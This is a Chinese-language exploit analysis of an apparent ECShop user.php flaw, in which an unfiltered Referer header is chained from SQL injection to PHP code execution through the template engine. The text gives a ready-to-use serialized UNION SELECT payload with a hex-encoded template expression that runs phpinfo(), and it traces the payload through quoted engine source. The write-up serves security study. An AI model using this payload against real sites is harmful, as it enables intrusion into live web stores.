0x01
此漏洞形成是由於未對Referer的值進行過濾,首先導致SQL注入,其次導致任意代碼執行。
0x02
payload:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
0x03
漏洞分析:首先,問題產生文件為user.php。
可以看到的是。首先從客戶端過來的Referer可控,導致$back_act變量可控。往下,assign函數注冊變量,display函數輸出文件內容。首先先看一下 user_passport.dwt 文件內容
可以看到此處會將$back_act變量傳入此模板。跟進display函數:
此時,在display函數中,$filename = 'user+passport.dwt' ,跟進fetch函數:
/** * 處理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } else { if ($this->_checkfile) { if (!file_exists($filename)) { $filename = $this->template_dir . '/' . $filename; } } else { $filename = $this->template_dir . '/' . $filename; } if ($this->direct_output) { $this->_current_file = $filename; $out = $this->_eval($this->fetch_str(file_get_contents($filename))); } else { if ($cache_id && $this->caching) { $out = $this->template_out; } else { if (!in_array($filename, $this->template)) { $this->template[] = $filename; } $out = $this->make_compiled($filename); if ($cache_id) { $cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id; $data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime)); $out = str_replace("\r", '', $out); while (strpos($out, "\n\n") !== false) { $out = str_replace("\n\n", "\n", $out); } $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1); if (!is_dir($hash_dir)) { mkdir($hash_dir); } if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false) { trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php'); } $this->template = array(); } } } } $this->_seterror--; if (!$this->_seterror) { error_reporting($this->_errorlevel); } return $out; // 返回html數據 }
此時,在fetch函數中,$filename = 'user+passport.dwt' ,$this->_checkfile = false,$this->template_dir = ecshop/themes/dafault/,$this->direct_output = false,然后再次跟進make_compiled函數:
/** * 編譯模板函數 * * @access public * @param string $filename * * @return sring 編譯后文件地址 */ function make_compiled($filename) { $name = $this->compile_dir . '/' . basename($filename) . '.php'; if ($this->_expires) { $expires = $this->_expires - $this->cache_lifetime; } else { $filestat = @stat($name); $expires = $filestat['mtime']; } $filestat = @stat($filename); if ($filestat['mtime'] <= $expires && !$this->force_compile) { if (file_exists($name)) { $source = $this->_require($name); if ($source == '') { $expires = 0; } } else { $source = ''; $expires = 0; } } if ($this->force_compile || $filestat['mtime'] > $expires) { $this->_current_file = $filename; $source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false) { trigger_error('can\'t write:' . $name); } $source = $this->_eval($source); } return $source; }
此函數是將模板中的變量解析,並將其內容讀出,此時,查看display函數中$out變量會將Referer的值傳入至模板變量中。
查看$this->_schash的值:
此值是固定的,所以$val的內容可控,其值為:
ads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}
跟進insert_mod函數:
由於此函數中$name的值可控。可以看到將$name的值分為2個變量。所以跟進insert_ads函數,其值為數組:
可以看到產生sql注入漏洞,由於2個變量可控,可以將 'ORDER BY rnd LIMIT ' 注釋掉,並進行聯合查詢。所以 $arr['id']的值可以為:' /* 而$arr['num']的值為:*/payload,如此就將其注釋掉。
然后此sql語句查詢的結果$res可控,
再看由於$position_style可控,並且添加前綴str: 則正好滿足fetch函數的條件,還需注意此處有一個條件,$row['position_id'] != $arr['id'],所以SQL查詢出的$row['position_id']的值必須為 ' /*,16進制為0x27202f2a:
此時跟入fetch_str函數:
可以看到有2條正則表達式,第一條是將$source中的 <? 任意內容?> 替換為空。可以不用管。第二條是獲取 {} 中的內容,並調用$this->select({})。此處正則會將$position_style中的{$abc'];echo phpinfo/**/();//}取出
跟進select函數:
由於次函數中 $tag = $abc'];echo phpinfo/**/();// 在跟進get_val函數:
可以看到要想執行這條語句,則必須閉合 ] 方括號。於是可以構造為 $abc'];phpinfo();// 將payload如此構造,則$p的值為:$this->_var['$abc'];phpinfo();//'] ,然后回到fetch函數去查看_evel函數: